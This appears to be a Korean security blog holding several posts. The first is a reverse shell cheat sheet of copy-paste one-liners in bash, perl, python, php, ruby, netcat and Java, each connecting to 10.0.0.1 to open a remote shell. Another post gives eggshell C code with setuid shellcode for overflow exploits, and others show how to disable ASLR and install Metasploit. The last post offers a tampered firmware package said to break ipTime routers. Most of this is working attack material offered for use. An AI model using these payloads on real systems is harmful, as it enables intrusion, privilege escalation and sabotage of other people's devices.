레이블이 etc인 게시물을 표시합니다. 모든 게시물 표시
레이블이 etc인 게시물을 표시합니다. 모든 게시물 표시

2014년 5월 30일 금요일

Linux Reverse Shell cheatsheet

Reverse Shell Cheat Sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.

Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Untested submission from anonymous reader]

xterm
One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

Further Reading
Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.
There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.
Tags: bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm
Posted in Shells

2014년 5월 12일 월요일

mac os x qemu raspbian

1. (Install brew)
ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

2. (Install qemu&etc)
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu
3. (First Boot)
jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 
4. (Modify)
nano /etc/ld.so.preload
#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

nano /etc/udev/rules.d/90-qemu.rules
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n",

nano /etc/X11/xorg.conf
Section "Screen"
Identifier "Default Screen"
SubSection "Display"
Depth 16
Modes "800x600" "640x480"
EndSubSection
EndSection

shutdown -h now
5. (Final Boot)
jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 


Kernel-Image download

2014년 4월 12일 토요일

linux metasploit install ubuntu

sudo su

apt-get -y install build-essential zlib1g zlib1g-dev  libxml2 libxml2-dev libxslt-dev locate  libreadline6-dev libcurl4-openssl-dev git-core libssl-dev libyaml-dev openssl autoconf libtool  ncurses-dev bison curl wget postgresql postgresql-contrib libpq-dev  libapr1 libaprutil1 libsvn1  libpcap-dev

apt-get install git-core postgresql curl ruby1.9.3 nmap gem
gem install wirble sqlite3 bundler

cd /opt
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install


./msfconsole

2014년 2월 27일 목요일

Eggshell source code / 에그쉘 소스 (include setreuid)

eggshell.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}

2014년 1월 31일 금요일

함수 호출시 plt / got 정리 [ How plt&got works when fuction call ]

plt : procedure linkage table
got : global offset table

=====function call=====
1. function call (ex:printf)
2. goto plt
3. jmp *funcaddr(got)
4. in got there is addr for plt's push
5. restart plt
6. _dl_runtime_resolve() call
7. _dl_runtime_resolve() function will call _dl_fixed func and insert real function(printf)'s addr to got
8. real function addr is saved in got and jump to real function addr by got


=====second function call=======
1. function call(ex:printf)
2. goto plt
3. jump *funcaddr(got)
4. jump to function's real addr in got by got

2014년 1월 26일 일요일

ubuntu 13.10 & etc ASLR disable / 우분투 ASLR 해제

root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b72bf000-b73f1000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b73f1000-b75f1000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b75f1000-b75f2000 rw-p 00000000 00:00 0 
b75f2000-b77a0000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b77a0000-b77a2000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b77a2000-b77a3000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b77a3000-b77a6000 rw-p 00000000 00:00 0 
b77b8000-b77b9000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b77b9000-b77bb000 rw-p 00000000 00:00 0 
b77bb000-b77bc000 r-xp 00000000 00:00 0          [vdso]
b77bc000-b77dc000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b77dc000-b77dd000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b77dd000-b77de000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bfef4000-bff15000 rw-p 00000000 00:00 0          [stack]
root@mango-virtual-machine:/proc/sys/kernel#
root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7239000-b736b000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b736b000-b756b000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b756b000-b756c000 rw-p 00000000 00:00 0 
b756c000-b771a000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b771a000-b771c000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b771c000-b771d000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b771d000-b7720000 rw-p 00000000 00:00 0 
b7732000-b7733000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b7733000-b7735000 rw-p 00000000 00:00 0 
b7735000-b7736000 r-xp 00000000 00:00 0          [vdso]
b7736000-b7756000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7756000-b7757000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7757000-b7758000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bfebf000-bfee0000 rw-p 00000000 00:00 0          [stack]

root@mango-virtual-machine:/proc/sys/kernel# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7ae1000-b7c13000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b7c13000-b7e13000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b7e13000-b7e14000 rw-p 00000000 00:00 0 
b7e14000-b7fc2000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc2000-b7fc4000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc4000-b7fc5000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc5000-b7fc8000 rw-p 00000000 00:00 0 
b7fda000-b7fdb000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7ffe000-b7fff000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7fff000-b8000000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
root@mango-virtual-machine:/proc/sys/kernel#
root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7ae1000-b7c13000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b7c13000-b7e13000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b7e13000-b7e14000 rw-p 00000000 00:00 0 
b7e14000-b7fc2000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc2000-b7fc4000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc4000-b7fc5000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc5000-b7fc8000 rw-p 00000000 00:00 0 
b7fda000-b7fdb000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7ffe000-b7fff000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7fff000-b8000000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]




cat /proc/self/maps 명령어로 메모리영역을 살펴보았을때 위의 빨간색과,주황색은 ASLR을 disable하기전, 민트색보라색은 ASLR을 disable 한 후이다.

ASLR(Address Space Layout Randomization) 을 해제하려면
 sysctl -w kernel.randomize_va_space=0
명령어를 이용하여 해제하면 된다.
또한 다시 ASLR을 적용하려면 ,
sysctl -w kernel.randomize_va_space=1  (라이브러리, 스택이 랜덤)
sysctl -w kernel.randomize_va_space=2  (라이브러리, 스택, 힙이 랜덤)
을 하면 된다.

만약 basic bof skill을 익히고 싶다면 aslr과 nx를 해제후 공부하면 되겟고, 메모리보호기법을 우회하는 bof skill을 익히려면 두개다 적용후 공부하면 되겟다.

2013년 8월 8일 목요일

ipTime 무선공유기 destroyer



파일 시그니쳐는 건드리지 않고 놔둔채 다른부분을 조작하였기 때문에
 192.168.0.1, ipTime 설정홈페이지에 접속한뒤 패키지 업데이트를 이 파일을 가지고 실행하여주면 더이상 공유기가 아이피를 할당하여주지 못한다.

 Download devil_mango.pkg